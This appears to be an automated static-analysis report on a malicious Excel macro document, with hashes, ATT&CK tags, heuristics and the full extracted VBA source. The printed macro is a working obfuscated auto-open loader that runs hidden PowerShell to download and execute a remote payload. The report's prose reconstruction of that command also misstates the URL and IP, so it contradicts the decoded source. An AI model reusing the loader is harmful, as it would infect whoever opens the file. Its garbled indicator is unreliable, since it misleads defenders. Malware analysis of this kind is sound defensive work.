Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cdbffda2036a5aab…

MALICIOUS

Office (OOXML)

4.0 KB First seen: 2021-06-13
MD5: aa6d7315d0e11ce35faf1279b4abb56a SHA-1: 9a5613aa20e21fddba95e801114d2e10fd65a774 SHA-256: cdbffda2036a5aabe20722c3296d55c41f3736f301d564bb54657b78ffb01697
160 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The critical heuristic 'Obfuscated auto-exec VBA loader' indicates the presence of malicious VBA code. The Workbook_Open macro is triggered upon opening the document. This macro contains obfuscated PowerShell code, reconstructed as 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://192.86.209.183:80/1sp-txt.ip\')"', which is designed to download and execute a second-stage payload from the specified URL. The use of a Workbook_Open macro and obfuscated PowerShell points to a common malware delivery technique.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1027 bytes
SHA-256: 4c6414c18b4e717abb67be66eb82c95206232b43aab9988516a5feabdee3349b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function Midgar_rev(str)
    Midgar_rev = StrReverse(str)
End Function

Private Sub Workbook_Open()
    Subscription
End Sub

Sub Subscription()
    strArg = Midgar_rev("))'txt.1sp-llehs/831.902.861.291//:ptth'(gnirtsdaolnwod.)tneilcbew.ten.metsys tcejbo-wen((xei c- pon- ssapyb cexe- llehsrewop")
    GetObject(Midgar_rev(":stmgmniw")).Get(Midgar_rev("ssecorP_23niW")).Create strArg, Null, Null, pid
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5120 bytes
SHA-256: b1e273f32e767c509a406ec0136466314e5b19abffe8c2cbc7cd25ad39215df8

Open this report in the interactive analyzer, or submit your own file for analysis.